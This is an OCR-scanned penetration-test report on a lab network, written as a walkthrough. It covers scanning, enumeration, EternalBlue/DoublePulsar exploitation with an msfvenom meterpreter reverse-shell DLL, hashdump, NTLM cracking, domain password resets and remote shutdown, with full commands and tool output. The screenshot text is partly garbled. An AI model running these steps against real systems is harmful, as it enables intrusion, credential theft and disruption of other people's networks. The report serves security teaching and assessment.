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Executive Summary

With cyber-attacks becoming more frequent, data security is an essential part of life. People trust
computers with most of their personal information in the present day. A large portion of that being
with large companies as they provide a service that requires personal information to be stored on
their servers and databases. Assessing the security of the network that the information is stored on is
a vital part of the process to make sure that the system that the information is stored on is as secure
as possible and resilient against both inside and outside attackers.

This paper will assess the security of the UADTARGETNET network posing as a user, logged on to the
network, acting as an inside attacker. The main goals of this paper is to:

e Identify if the UADTARGETNET network has any vulnerabilities and to test if they can be
exploited for malicious gain.

e Identify if someone with internal access could gain access to restricted parts of the network.

e Identify the amount of damage that could be caused if the network was attacked by an
internal user .

The methods used in this paper are carried out assuming the identity of a malicious inside user
attacking the network from being connected with guest privileges. Different techniques were used in
process of scanning the network to gain information that allowed for information regarding
weaknesses in the network and being able to exploit the found vulnerabilities from the scans. Doing
so allowed access to the administrative levels of the servers and releasing sensitive information.

It was found that the observed network is not using the best practicing security measures on their
servers. The servers were found to be vulnerable to an old exploit in windows SMB protocol called the
EternalBlue exploit, that completely compromises both servers to the attackers malicious intent.
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1 INTRODUCTION

1.1 BACKGROUND

Security is the biggest computer related subject in the current day. Everything has to be
secure, from the password to access your computer, to the information stored about you in
your amazon account. Companies are trusted with sensitive information about their
customers every day, but is your information safe with these big conglomerates? In an article
posted online by gemalto, the author writes: “945 data breaches led to 4.5 billion data
records being compromised worldwide in the first half of 2018” — (Reference (1)), this shows
how many people can be effected by companies not having the best standard of security
when it comes to storing client information.

On Friday 12" May 2017, the NHS (National Health Service) in the United Kingdom, was a
victim of a malicious attack from a hacker. The attackers used a tool leaked from the NSA
(National Security Agency) called EternalBlue. This tool exploits the SMB (Server Message
Block) protocol in all Windows versions up to Windows 8, it allows for the creation of a null
session created by an anonymous login. A null session allows for the anonymous login to send
commands to the connected server. This allowed the attackers to upload a piece of software
called WannaCry which is a ransomware software, which in this case will lock the user out of
their computer until they pay the set price for the release key. In this instance the attackers
were not looking for data on patients or staff of the NHS, they were wanting money, this is not
the case for allot of other attacks as people’s information can be sold or used as leverage in
different situations.

In 2013 one of the biggest data breaches ever happened with Yahoo. With the BBC writing “all
of its three billion user accounts were affected in a hacking attack dating back to 2013” —(3),
thus showing how widely affected the world is when a single corporation is attacked because
they were not properly defended for situations in which they are targeted by a malicious
hacker. The data leak included passwords for each account that were encrypted but could still
be cracked. Security in large companies should have the strongest security measures as they
have the resources to reach out and have their systems tested, but some however don’t
follow this practice and can lead to large fines as they have not provided relevant security
measures for their customers data.

Over the years people’s lives have merged with technology, but .with this change in lifestyle
comes the responsibility of being aware that you have allot of sensitive information stored on
your phone/computer or on an online account with a company like Amazon. This
responsibility is then shared with the companies who's services that we use every day. Below
is a graph (2) showing the number of data records leaked from different sectors of society. As
it can be seen, over the years the number of data breaches has dramatically increased with
the greatest increase in breaches being in the business sector and the government sector

1|Page
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being in close behind. Not only does this show the rise in cybercrime, but it also shows how
improvements are needed in information security. This is the job of a penetration tester.

Chart 9: Increasing number of data breaches (by entity)
1,600

1,400

2005 2006 2007 2008 2009 2010 2011 2012 2013 2014 2015 2016 2017

M Business Medical mEducational Government B Financial

Source: |efferies, Identity Theft Resource Centre

(Reference (2))

Penetration testers are computer security specialists who know how a hacker thinks. This
means that they can use the exploits that hackers would use maliciously but in a non-
malicious manner to indicate where vulnerabilities lie in the system and then demonstrate
how they can be fixed. This allows them to be employed by large companies to find
weaknesses in their security structure and to demonstrate any vulnerabilities and exploits
that they may find to the companies to allow them to see what can happen if they do not

keep up with security standards with their systems and a hacker managed to compromise
their systems.

It is important to carry out a penetration test, to find all vulnerabilities in the network so that
in the case that if the organization is targeted by a malicious hacker all vulnerabilities have
been patched and the necessary security measures have been taken so that the hacker cannot

access the system and release sensitive information from both inside the company or outside
the company structure.

2|Page
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1.2 Am

The aims of this project.

e To assess the vulnerabilities of a network through having inside access to the
network.

e Tryto gain information about the users on the network, both administrators and
normal users.

e To exploit any vulnerabilities found to gain access to restricted parts of the
network.

e To produce a detailed report on how all vulnerabilities and exploits were carried
out and to detail the effect that these can have.

3|Page
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2 PROCEDURE

2.1 OVERVIEW OF PROCEDURE

The procedure you are about to see will show you how to scan the UADTARGETNET network for exploits
and vulnerabilities. How to use these to gain access to administrator level privileges inside the network
servers, and to be able to reset passwords for every user on the network which in turn can be used to
lock users out of the system.

First two machines are needed to be able to carry out the following procedure, first a windows machine
with the EternalBlue tool, Advanced IP/Port Scanner programs installed. Then a Kali Linux machine is
also required with a NMAP scanner python script (Code in appendix A). Both machines must be set up
on the same network as both of the servers that are being attacked in this scenario.

The procedure is split up into four steps:

(1) Scanning

(2) Enumeration

(3) Vulnerability Scanning
(4) System Hacking

First step after setting up the machines is to scan the network to get basic information about all of the
machines connected. This will give information such as the IP’s of the target machines and the client
machines and which ports are open on each server.

Next is to carry out the enumeration stage in which is an attempt to find out more detailed information
about the targeted system. This can include but is not limited to: Administrators, users, Email addresses
of users and the groups they are sorted into.

The third step in this procedure is to carry out the vulnerability scanning, this allows for detection of
known vulnerabilities that can be exploited on the server. In this case the main vulnerability that was
found was a bug in the SMB protocol of windows called EternalBlue.

Using all the information gathered in the above steps, the next step is to start the system hacking. This is
done by exploiting the EternalBlue vulnerability using the FuzzBunch interface. Once proved that access
is gained to the system, another exploit can be seen using windows pstools which allows for remote
commands to be executed on the server. This includes a shutdown function that will be demonstrated at
the end

4|Page
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2.2 PROCEDURE PART 1

2.2.1 SCANNING

A tool called Advance IP Scanner allows all active IP’s on a network to be displayed with their relative
names. Opening this tool on the windows machine that had been connected into the network, running it
in the range of ‘192.168.0.1’ to ‘192.168.0.11’, it shows that four IP’s on the local network are active,
Server 1 IP as 192.168.0.1, Server 2 IP as 192.168.0.2, Client 1 IP as 192.168.0.10 and Client 2 IP as
192.168.0.11.

& Advanced IP Scanner v1.5
Fle Commands Options Help

%EHI%E ;-_;_>| BCIP Tl

e RRIRE®
RADMIN
remote control software
fast. secure. affordable.

Selectranger [192 168, 0 1 to] 182 165 0 . 11 | Sean
Uge thez name to get |F; H7E

Scan results:

P | Status | Name | Ping | MetBIOS user | MetBIOS comp.. | MetBIOS gro MAL address

3192 168.01 alree Server] 1] 00-00-00-00-00-00
192 168.0.2 alrve SERVERZ2 0 00-00-00-00-00-00
_,,-=1 92168.03 dead N/& N 00-00-00-00-00-00
:’1 92168.0.4 dead N/ NAA 00-00-00.00-00.00
=192 168,05 dead N2 N 00-00-00-00-00-00
-_-r_ 192 168.06 dead N/& N/ 00-00-00-00-00-00
—E 19216807 dead N/& N/ 00-00-00-00-00-00
_.,__ 192188.08 dead N N/ 00-00-00.00-00.00
®192168.09 dead N/& N Ay 00-00-00400-00-00
{3192168.010 alve CLIEMT1 0 00-00-00-00-00-00
“&192 168.011 alrve CLIEMT2 L] 00-00-00-400-D0-00

Opening the Advanced Port Scanner tool in windows and putting in the same range as above, it can be
seen that port 445 is open on both servers. Port 445 can be used in a reverse TCP attack using the NSA
hacking tool EternalBlue.
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|3 Advanced Port Scanner vi3

Fie Optons Help

SelectiP: [ 152 168 . 0
™ Use group of ranges

d - |delaut W Use defauk ports list

RADMIN®

remote control software
fast. secure. affordable.

T R Userange [ 192 168 . 0 11 Seen

Select ports range:

I Use parts 1anges kst
[E=] :o2.155.0.1 (Server1) Ports (scamned €7 of 67, opened: 7 dosed: 60)

@ 23 Open (teln
@ 530pen
@ 80 Open tp)
@ 83 Open (kerberos)
@ 135 0pen ocsrv)
@ 139 Open (netbios-ssn)

NT1)  Ports (scanned 67 of 67, opened: 3 dosed: 64)
-4 open ports (3)
@ 135 Oper

Using the given details of Username: ‘test’ and Password: ‘test123’, they were used to login to client2
Windows machine. Opening a command line on the client machine, the ‘ipconfig’ command was used,
this allows the machines local IP and the DNS IP to be viewed. As can be seen in the screenshot below
the DNS server is the IP of Server 1 of 192.168.0.1.

Host Mame . . . . .
Primary Dns Suffix
Mode Type . . . . .
IP Routing Enabled.
WINS Proxy Enabled.

Description . . . .
Physical Address. .
DHCF Enahled. . .

IPv4 Address. . . .
Subnet Mask . . . .
Default Gateway . .
DHCFv6 IAID . . . .
DHCPv6 Client DUID.

DNS Servers . . . .
NetBIOS over Tcpip.

BEA C\Windows\system32\cmd.exe
Windows IP Configuration

DHS Suffix Search List.
Ethernet adapter Local Area Connection:

Connection—specific DHNS

Autoconf iguration én;hie&
Link-local IPvb Address

o[-l

CLIENT2
unadtargetnet.com
Hybrid

No

No
wadtargetnet.com

Suffix
2 onm oam gm Intel(R» PRO-1888 MT MNetwork Connection
i onhosh s AB-58-56—-33-A7-38
- Mo
B Yes
- feBB:tacd3l:deBB:fed3::eBc3x11(Preferred)
5o 192.168.0.11 (Preferred>

255 .255.255.8

192 _168_08._254

234884137

80-91-88-81-19-51-23-E3-80-BAC-29-78-E?-20

192 _168._8.1
Enabled

In Kali Linux, open a command shell and type the command:

‘fping -g 192.168.0.1/24’

This can be used to see which hosts on a network are active or not. In the screenshot below it can be
seen that five IP’s are active on the network. From the previous screenshots above where the IP’s of
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both servers and clients were found, this shows that the two other IP’s found, 192.168.0.100 and
292.168.0.200, these must be the Windows and Kali machines that are being used to scan the network.

root@kali: ~ e e
File Edit View Search Terminal Help

ICMP
ICMP

QNN OO WWhRARWUWLN

H
H
H
H
H
H
H
H
H
H
H
H
H
Ho

Echo se

2.2.2 ENUMERATION

Over on the Kali machine, run the NMAP scanner script by opening a command line and navigating to
the directory in which the script is saved. In this case the script is saved on the desktop in a folder called
Scripts. The file is called Scan.py. The following commands allow you to run the script in the command
line:

cd Desktop

cd Scripts

python scan.py

These confirm that port 445 is open and able to be used for the rest of this procedure.

This gives information such as what operating system is running on the servers, what version of the
operating system and what ports are open and listening.

In this case the servers are running Windows 2008 Server.
Using an enumeration tool called nbtenum3.3, open up a new command line in the kali linux machine.

Navigate to the nbtenum3.3 folder, which in this case is stored in the root folder and run a nbtenum
scan on the two servers. This can be done by following the commands below once a command line is
opened:

cd \nbtenum3.3
nbtenum.exe -q 192.168.0.1 UADTARGETNET \test test123

nbtenum.exe -q 192.168.0.2 UADTARGETNET\test test123
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This will generate two files called 192.168.0.1.html and 192.168.0.2.html that will have the list of
administrators for both servers, the users and the groups that each of the users belong to and much
more information about each server.

2.2.3 VULNERABILITY SCANNING

Using NMAP again in Kali, we can run a different command to run a vulnerability scan. This can be done
by entering the commands:

nmap-vuln-192.168.0.1
nmap-vuln-192.168.0.2
These commands will then display open ports and possible exploits that may work against the targets.

A tool called Nessus produces a basic vulnerability paper after doing a scan of the servers. This can
highlight vulnerabilities that could be exploited on the servers.

To do this, we must first connect to the nessus server. On the kali machine, open a browser and
navigate to https://127.0.0.1:8834. Using the login of Username: admin and Password: hacklab, login to
the server.

Select:

New Scan -> Basic Network Scan

Next enter the targets as:

192.168.0.1, 192.168.0.2, 192.168.0.10, 192.168.0.11.

Next enter the Username: test and Password: test123, then launch the scan.

Once the scan is completed, exporting the results to a pdf allows for easy readability of results.

This shows that the system is open to the EternalBlue exploit and can be used to execute commands
remotely.

2.2.4 SYSTEM HACKING

Using all the information gathered above we can then start exploiting the found vulnerabilities.

First step in exploiting the SMB protocol using the EternalBlue tool is to create a dll file in Kali that can
then be transferred onto the windows machine that will carry out the exploit. As seen in the screenshot
below the command to create the dll file is as follows:

msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.0.100 LPORT=4444 -f dll >
/root/Desktop/msf.dll.
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What this command does is create a dll file with the payload set as the reverse_tcp exploit, with the

listener IP being the IP of the Kali machine and the listening port as 4444, it then saves the dll file as
msf.dll on the desktop of the kali machine.

msf.dll
root@kali: ~

File Edit View Search Terminal Help
:~# msfvenom /meterpreter/reve tcp LHOST=192.168.0. 100

[-] No platform w s sing Ms dule::Platform: :Windows from the p
ayload
h: x64 from the payload
, outputting raw payload
Payload size: 510 byte
Final of dll file: 5120 bytes

#D

The next step is to move the msf.dll file across to the C: drive of the windows computer that will run the
exploit. This can be seen in the screenshots below.
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@(_)O ﬁ - Computer - Local Disk (C:) -

Organize

[ Favorites
Bl Desktop
& Downloads

15 Recent Places

Pl Desktop

Al Libraries
:L] Documents
,JT Music
= Pictures
B videos

2 admin

1% Computer
iy Local Disk (£3)
= data (0:)
23 DVD Drive (E:)
@ Jonah USB (F:)

Share with ~

New folder

¥ Student Notes (1110.0.0.3) (L)
5# Student Tools (1110.0.0.3) (M:)

Gi‘l Network
% CLIENT1
1M cLIENT2
18 Hag
1 H31
1M H32
1% H34
1% H35
1B H41

Mame “ Date modified Type Size
4 SRecyde.Bin 03/08/2016 12:38 File folder
. batch 19/12/2016 14:10 File folder
Boot 04/08,/2016 05:05 File folder
4 Config.Msi 10/09/2018 11:28 File folder
4 Documents and Settings 14/07/2009 06:08 File folder
. Intel 26082016 14:44 File folder
. logs 28/11/2018 09:13 File folder
3 MsOCache 29/08/2016 16:11 File folder
nbtenum3. 3 28/04/2017 13:25 File folder
MNSA 01,/05/2017 08:39 File folder
. Program Files 10/09/2018 11:02 File folder
. Program Files (x86) 10/09/2018 11:00 File folder
ProgramData 10/09/2018 10:59 File folder
. Python2s 01/05/2017 08:39 File folder
3 Recovery 03/08/2016 12:37 File folder
4 System Yalume Information 05/08/2016 10:27 File folder
temp 28/11/2018 09:13 File folder
. Users 03/08/2016 14:49 File folder
. Windows 10/09/2018 12:31 File folder
bootmgr 21/11/2010 03:23 System file 375 KB
%] msf.dll 28/11/2018 09:08 Application extension 5KB
| nc.exe 17052011 10:15 Application 88 KB
pagefile.sys 28/11/2018 08:57 System file $19,200 KB

A listener has to be set up to wait for a response from the server after the exploit has been carried out.
This is done in Kali, using the following commands that can also be seen in the screenshots below, the

listener is set waiting for a response.

Service postgresql start

msfconsole

use exploit/multi/handler

set payload windows/x63/meterpreter/reverse_tcp

set lhost 192.168.0.100

set lport 4444

run
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root@Kkali: ~ e e O
File Edit View Search Terminal Help
:~# service postgresql start
msfconsole

@7 exploits ] auxiliary - 312 post
--=[ 539 payloads 2 enco 3 nops
--=[ Free Metasploit Pro trial: http://r-7.co/trymsp

1
- 1027 auxiliary - 312 post 1
ence 10 nops 1
http://r-7.co/trymsp ]

yload windows/x64/meterpreter/reverse_tcp
> windows/x64/meter - Eep
it( > se 58.0.100
192.168.0.100
loit( ) > set lport 4444

it( ) = run

Started reverse TCP handler on 192.168.0.100:4444

Since the listener is set, waiting for data to be sent from the exploited server, now the exploit has to be
executed. Going over to windows, in the screenshot below it can be seen that in a command prompt
you navigate to the NSA hacking tool folder and run the fb.py script. As this runs it will ask for the target
IP address which in this case is either 192.168.0.1 or 192.168.0.2 depending on if you are wanting to
exploit server 1 or server 2. In the screenshot below, server 1 is being exploited so the target IP is
192.168.0.1’. Then the callback IP is entered, this is ‘192.168.0.200’. Then redirection should not be
allowed so the value of ‘no’ was required.

The inputs are as follows:
cd/nsa/windows

fb.py

192.168.0.1
192.168.0.200

No
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Then ‘1’ was entered to create a new project, the name given to the project was ‘Attack’. After this, no
other data was required to be entered until the command line read ‘fb >’ as shown below.

The commands are as follows:

1
Attack

<enter> (No input)
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-lofx

al Autorun

g directory to 'c:vlogshattacks=z192.168.8.1"7

B.208

~=192.168.8.1

Next is to use the EternalBlue tool. As shown below the command
use Eternalblue

initiates the use of the tool. Every entry can be confirmed by pressing Enter until the command line
reads:

L=] farFrgat 3 UpEratimg b - A f”  Faoh: and Arohiteoture of

W ned * X o Pac

Wined 7 Bit amnd |1- Bit @&11

At this point the target needs to be ‘WIN72K8R2’, so ‘1’ is entered into the command line.

The next step is to choose the delivery mode of the payload. This should be set to ‘FB’ for ‘Fuzzbunch’,
by selecting ‘1’ this should set the mode to ‘FB’.
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Delivery mechanism

Forward deployment via DARINGHNEOFHYTE
Traditional deployment from within FULEBUNCH

Enter Frompt Mode :: Eternalblue

odule: Eternalblue

Ualue

68
192.168.8.1
45

oitAttempts
omHllocations

iable Settings? [Yeszl

: Timeout for blocking network calls {in

HetworkTimeout [6@1 =
Targetlp z: Target IP Address
.168.8.11
Port used hy the EMB loit connection

cPort [4451

et :: Ualidate the SMB string from target against the target sele
¢ exploitation.

VerifyTarget [Truel :

Validate the presence of the DOUBLE PULSAR backdoor bhefor
t he enahled for multiple ploit attemp 2

[Truel =

itAttempts == Mumher of times to attempt the exploit and groom. Dis

MaxExploitAttempts [31

Mumber of 1 > 2 buffers a+) onfetup
do.

GroomAllocations

[#] Target =: Operating System, Service Pa and Architecture of target 08

a» i Windows XP 32-Bit All Sewvice P:
(B R Windo 7 and 2888 R2 t and 64-Bit All Service Packs

Target

Preparing to Execute Eternalblue
Mode :: Delivery mechanism

dep

ional
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Then next step is to run the Eternalblue tool. This can be done by confirming the standard entry by
pressing enter and finalizing it by confirming to execute the plugin as shown below.

=l01x

#@> DANE ar i HYTE
i» FB d al de ] n FUZZBUNGH

Mode [B1 : 1
[+1 Run Mode: FB

te locally like traditional Fuzzbu plugins. Are vou zure?
[ H
[#]1 Redirection OFF

[+] Configure Plugin Local Tunnels
[+]1 Local Tunnel local-tunnel-1
Destination IP [1 168.8.11
timation Port [445%] =
[+] > Local 192.168.0.1:445

[+]1 Configure FPlugin Hemote Tunnels

Value

5]

5]
192.168.68.1
445

Plugin? [Yes]
nting Plugin
1 Connecting to tar
[+] Connectio
Finging bhackdo

[+]

65 V2 6 &5 7 B 32 Windows &

7?4 61 63 65 74 65 @AR R2 Data

72 76 69 63 65 28 5@ » 7601 i
ack 1.

ing non—-paged
EMBu2

eatiﬂu free hole adjacent to SHBuZ huffer.

.1: packet?

oit packe
BRAAEED > ¢

Then let it run until it appears as below saying ‘WIN’. This shows that the exploit has been completely
successfully and the backdoor agent is running and now needs to connect back to the Kali system that
was setup earlier.
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Administrator: Command Prompt - fb.py

Good reply from SMB Echo reguest

Sending last fragment of exploit packet?

Receiving response from exploit packet

[+1 ETERNALBLUE overwrite completed successfully {(BxxCORABAAD)*
8ending egg to corrupted connection.

Triggering free of corrupted buffer.

Pinging hackdoor...

[+]1 Backdoor NOT installed

Trying again with 17 Groom Allocations
Connecting to target for exploitation.
[+] Connection established for exploitation.
Pinging bhackdoor...
[+]1 Backdoor not installed. game on.
Target 085 selected valid for 085 indicated hy SMB reply
1 CORE raw buffer dump (54 hytes):
BxAPBAAARA 57 62 6e 64 6f 7?7 V3 28 53 65 72 6 65 72 28 32 MWindows

AxAAB0AA1A 30 30 38 20 52 32 20 44 61 74 61 63 65 6e V4 65 BB R2 Datacente
AxA00000268 72 260 37 36 38 31 20 53 65 72 76 62 63 65 28 58 » V601 Service P

A:A0ABEB3A 61 63 &b 28 31 A8 ETH
Building exploit buffer
Sending all but last fragment of exploit packet
DOME .
Sending SMB Echo request
Good reply from SMB Echo reguest
Starting non—paged pool grooming
[+]1 Sending SMBvZ buffers

DONE.
[+]1 Sending large SMBul buffer..DONE.
[+]1 Sending final SMBuv2 huffers

[+]1 Closing SMBvl connection creating free hole adjacent to SMBu2
S8ending SMB Echo request

Good reply from SMB Echo request

8ending last fragment of exploit packet?

Receiving responze from exploit packet

[+]1 ETERMALBLUE cverwrite completed successzfully <{BxCABBARAD)>*
Sending egy to corrupted connection-

Triggering free of corrupted huffer.

Pinging backdoor...

[+] Backdoor returned code: 18 - Success?

[+] Ping returned Target architecture: xb4 {64-bhitd

[+]1 Backdoor installed

[*] CORE sent serialized output hloh (2 hytesd:
HxA0A0EBEA A8 BA

[#]1 Received output parameters from CORE

[+]1 CORE terminated with status code BxAERABEBA
[+]1 Eternalblue Succeeded

fh Special (Eternalblue) >

(=[]

To execute the DLL on the server and to connect to the Kali listener, the Doublepulsar module is used.

To use the Doublepulsar module type the command:

use Doublepulsar

As shown below in the screenshot, all standard entries were used except for choosing the protocol,

architecture and function.
For the protocol, SMB needs to be selected. This can be done by entering ‘0.

For architecture, x64 needs to be selected. This can be done by entering ‘1.
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For function, RunDLL needs to be selected. This can be done by entering ‘2’.

| Admi rator: Command Prompt - fb.py ] _z..ﬂ;l..]_)_q

[+] CORE terminated with status code BxBBBBBBRA
[+]1 Eternalblue Succeeded

fh Special (Eternalblue> > use Doublepulsar
Entering Plugin Context :: Doublepulsar
Applying Global Variahles
Set MetworkTimeout => 68
Set Targetlp =» 192_.168.8.1
Applying Session Parameters
Enter Prompt Mode :: Doublepulsar

Doublepulsar

Ne tworkT imeout 5]
TargetIp 192.168.8.1
TargetPort 445
OutputFile
Protocol SMB
Architecture xB6
Function OQutputInstall
Plugin Variables are NOT Valid
Prompt For Variabhle Settings? [Yes]1 :
no timeout.
Networkl imeout [681 =
TargetIp =: Target IP Address
TargetIp [192.168.8.11 :
TargetPort :: Port used by the Double Pulszar back door
TargetPort [445]1 =
[#] Protocol :: Protocol for the backdoor to speak

=A> SHB Ring @ SMB <(TCP 445> backdoor
1> RDP Ring @ RDP <TCP 338%> backdoor

Protocol [B]1 :
[#] Architecture :: Architecture of the target 08

= xB6 x86 32-hits
1> xb4 x64 64-hits

Architecture [A] = 1
[+]1 Set Architecture => x64

[#]1 Function :: Operation for backdoor to perform

1> Ping Test for presence of bhackdoor

2> RunDLL Uze an APC to inject a DLL into a user mode process.
3> RunShellcode Run raw shellcode

4> Uninstall Remove’s backdoor from system

Function [B1 :

MetworkTimeout ::= Timeout for blocking network calls {(in seconds>. Use -1

Outputlnstall Only output the install shellcode to a hinary file on d

After selecting to run a DLL file, we need to select the path to the DLL file on the computer. Since the file

was saved on the C drive of the computer the path to the file is:

c:\msf.dll.

Once this is entered, all standard values can be confirmed by again pressing the enter key and the same

when asked to execute it, as shown below.
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_(Olx

Architecture [A] : -
[+]1 Set Architecture => xb4

[#]1 PFunction :: Operation for hackdoor to perform
OutputInstall Only output the install shellcode to a bhinary file on d
Ping Test for presence of backdoor
RunDLL Uze an APC to inject a DLL into a user mode process.
Runfhellcode Run raw shellcode
Uninstall Remove’'s backdoor from system

Function [B] 2
Set Function => RunDLL

D11Payload :: DLL to inject into user mode

D11Payload [1 : cd:msf.dll
Error: Invalid value for ‘Dl11Payload’ <{cd:msf.dll>

D11Payload :: DLL to inject into user mode

D11Payload [1 = c:wmsf.dll
Set D11Payload =»> c:msf.dll

D110rdinal The exported ordinal number of the DLL being injected to call)

D110rdinal [11 =

ProcessName :: Name of process to inject into

ProcessMame [lsass.exel :

ProcessCommandLine :: Command line of process to inject into

ProcessCommandLine [1 :

Preparing to Execute Doublepulsar
Redirection OFF

Configure Plugin Local Tunnels
Local Tunnel — local-tunnel-1
Destination IP [192.168.8.11 :
Destination Port [445]

(TCP> Local 192.168.8.1:445

Configure Plugin Remote Tunnels

Module: Doublepulsar

Metworklimeout

-]
122.168.68.1
445

cismsf.dll
1

ProcessMame lsass.exe
ProcessCommandLine

Protocol

Architecture

Function RunDLL

Execute Plugin? [Yes] : -

After the execution, it should display that ‘Backdoor returned code: 10 -Success’, as shown in the
screenshot below.

This means that the listener should now be linked to the server.

Execute Plugin? [Yes] :
Executing Plugin
Selected Protocol SMB
Connecting to target...
Connected to target, pinging backdoor...
[+] Backdoor returned code: 18 - cess?
[+] Ping returned Target architecture: xb64 (64-bit> — HOR Key: BxCCB1ABF

8MB Connection string is: Windows Server 2008 RZ Datacenter 7681 Service Pac

Target 08 is: 2888 R2 x64
Target SP is: 1
[+] Backdoor installed
DLL built
[.] Sending shellcode to inject DLL
[+] Backdoor returned code: 18 — Success?
[+] Backdoor returned code: 18 — Success?
[+]1 Backdoor returned code: 1B — Success?
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Now if we go back to the Kali machine that was set up ,as shown below it should show that a

meterpreter session has opened and now there is a meterpreter command line connected to the
exploited server.

Applications v Places v [ Terminal = Wed 0

root@kali: ~
File Edit View Search Terminal Help

]

auxiliary - 312 post 1
539 payloa - 42 encoders - 10 nops 1
Free Metasploit Pro trial: http://r-7.co/trymsp ]

yloit/multi/handler
) = set payload windows/x64/meterpreter/reverse tcp
oad => windows/x64/meterpreter/reverse tcp

yloit( ) > set lhost 192.168.0.100
192.168.8.108
et lport 4444

) = run
8.0.100:4444

3.0.1
.0.100:4444 -> 192.168.0.1:54951) at 20

Typing in the simple command hashdump, as shown below, displays all the usernames and their
corresponding hashed passwords.
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root@kali: ~ [ O -]

set lport 4444

) > run

handler on 192.168.0.100:4444
y 168.0.1
on 1 opened (192.168.6.160:4444 -> 192.168.0.1:54965) at 2018-11-28 04:17:39 -0560

s 2008 R2 (Build 76601, Service Pack 1).

This will be discussed further in the results part of this paper, with the full list of found usernames and
hashes in appendix(A).

Once all the usernames and passwords were saved to a file, separating the hashes from the usernames,
and doing a quick hash search online, it was found that the hashes were NTLM hashes. Entering the
hashes into an online decryptor (https://hashkiller.co.uk/ntIm-decrypter.aspx) it managed to find that
some of the hashes had previously been broken and returned the passwords in character format.

Using the username: Administrator and the cracked password: ThislsVerySecretl17, you are able to log
on to either Server 1 or Server 2. To prove that access has been gained and that you are logged in as the
system administrator, opening up a command line and entering the commands systeminfo for the
system information and whoami to show which user you are logged in as. An example of these can be
seen below.

Command for system info in command line: sysinfo

Command for user name in command line: whoami
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[&+] Administrator: Command Prompt =8| x
IC:sUszerssAdministrator>systeminfo -

SERUVER1
Microsoft Windows Server 2888 R2 Datacenter
| 6.1.7681 Service Pack 1 Build 7681
% Manufacture Microsoft Corporation
% Configuration: Primary Domain Controller
% Build Type: Multiprocessor Free
egistered Ouner: Windows User
egistered Organization:

55841 -478-6827884-84048
4,8,20816, 3:09:48 PH
18-38-2017,. 8:58:22 AM

ystem Manufacturer: UMuware. Inc.

ystem Model: UMuware Uirtual Platform
ISystem Type: x64-based PC
[Processor{s>: 1 Processor{s> Installed.

[B11: Intelb4 Family 6 Model 94 Stepping 3 Genuinelnt

el ~3488 Mhz

IBI0OS Uersion: Phoenix Technologies LTD 6.88. 72,2815
indows Directory: C:xWindows
ystem Directory: C:xWindowsssystem32
oot Device: ~DevicesHarddisklUolumel
ystem Locale: en—us;English (United States)
nput Locale: en—us;English (United States)
ime Zone: UTC+B@:88> Dublin, Edinburgh. Lisbon. London
otal Physical Memory: 2.847 MB
vailable Physical Memory:
irtual Memory: Max Size
irtual Memory: Available:
irtual Memory: In Use:
age File Location{s)>: C:spagefile.sys
Domain: uadtargetnet.com
[Logon Server: “~SSERUVERL
Hotfix{sh: 24 Hotfix{s> Installed.
KB2476498
KB2503658
KB2506212
KB2589553
KB2511455
KB2525694
KB2536275
KB2536276
KB2544893
KB2556532
KB2568656
KB2564958
KB2578947
KB2584146
KB2585542
KB2628784
KB2628712
KB2631813
KB2644615
KB2645648
KB2654428 %

Log into Server 1 with the username: Administrator and the password: Thisisverysecret17.

Once at the desktop go the start menu and at the top right should be a profile picture, click on the
picture and it should open up a new window.

Now click on the link that says Manage user accounts
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This should now show the tab as seen in the screenshot below.

Users | Advanced I

Use the list below to grant or deny users access to your computer,
4 and to change passwords and other settings.

[¥ Users must enter a user name and password to use this computer.

Users for this computer:
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User Name Domain Group I e

QAdministrator UADTARGETNET Administrators j

Q_, B.Evert UADTARGETNET Administrators

Q; Benny Hill UADTARGETNET Administrators; Us...

Q; D.Kawasaki UADTARGETNET Administrators

Q; D.Lecroy UADTARGETNET Administrators

&, D Rosamond UADTARGETNET  Administrators d|
Add... Rernove Properties |

r~ Password for Administrator

: To change your password, press Ctrl-Alt-Del and select Change
Password.

Reset Passward.., |

oK I Cancel | Apply |

x|

This is the list of administrators for the server.

Picking one from the list, in this example we will take D.Kawasaki.

From here, close the tabs that are open and go back to the start menu and run Active Directory Users

and Computers program.

“‘wJ Motepad

@ Internet Explorer

C

Computers

c@]tl DMS
=

~ Active Directory Users and

;& Computer Management

Administrator

Documents

Computer

Netwark

Control Panel

Devices and Printers

Administrative Tools 3

Help and Suppaort

Run...

» All Programs

I Search programs and files

@J Log off >|

= X

=)
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Opening this program should give you the view in the screenshot below. This allows full access to all
users, including usernames and the access to change passwords.

B Active Directory Users and Computers
e — = 3

(2w 40(XRHo = [HE

] Active Directnry Users and Comput | Name

H & Saved Queries _.;':Dunya Clinard User

= Fd vadtargetnet.com ?_J Dusti Medonough User
& (3] Alusers 2, Eldon Bolander User
B Sulltn 2 Encla Hilhouse User
e E” F”t;" s %, Grazyna Nordeen User
: :- E:;n‘a:mx i 2, Jesenia Urbe User

! 2
E [E) Fnance *_, Luss angeln Liser
= [ ForeignSeaurityprincipsls | 3 M::”m m"" oo
¥ & Human Resources !J H_ e Mk Ler
+ 3] Information Technology & Rich Zall Usger
= 2, nita Sepada User
[ | Managed Service Accounts a_n Valerie Teran User
+ 2. Sales
[ ] Users
K — b

Taking the example of the administrator D.Kawasaki, which we can now see the full name is Darren
Kawasaki. Right click on the name and choose reset password. It should now look as shown below.

Type in the new password as ‘password’ and the same for confirm password.

Then click OK.

2l x|
Mew passward: I........
Corfirm password: I-----o--|

[T Wsermust change password &t nest logon
The user must logoff and then logon again for the change to take effect.
Account Lockowut Status on this Domain Controller: Unlocked

[T Unlock the user's account

oK I Cancel
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Now swap over to one of the client machines and type in username: D.Kawasaki and password:

password.

This should log you into D.Kawasaki’s account.

Another exploit found was that the servers were open to commands created by using pstools.

Pstools can be downloaded from https://docs.microsoft.com/en-us/sysinternals/downloads/pstools

Once downloaded and installed navigate to where to where pstools is stored.

cd \PsTools
Then run the command as shown below:

PsShutdown \\192.168.0.1

i)
8
3
3
]
i)
i)
8
8
g
2]
]
i)
]

C:\PsTools>PsBhutdown

PsShutdown v2.52 — Shutdown, logoff and power manage local and remote systems

Copyright <C> 1999-2886 Mark Russinovich
Syzinternals — www.syszinternals.com

Eula declined.

C:\PsTools*Ps8hutdown NN192.168.8.1

.B62 9625:28:36.832
.268 9625:28:21.149

-B58
-@A31
-@15

DN EEE®

:1@:56.503
:1@:56.488
:1@:16.318
:@2:58.378
:@2:58.378
:@87:50.000
:@9:49.987
:@?:48.698
:@9:48 362
:@9:46.459
tA2:44_197
t@3:48.782

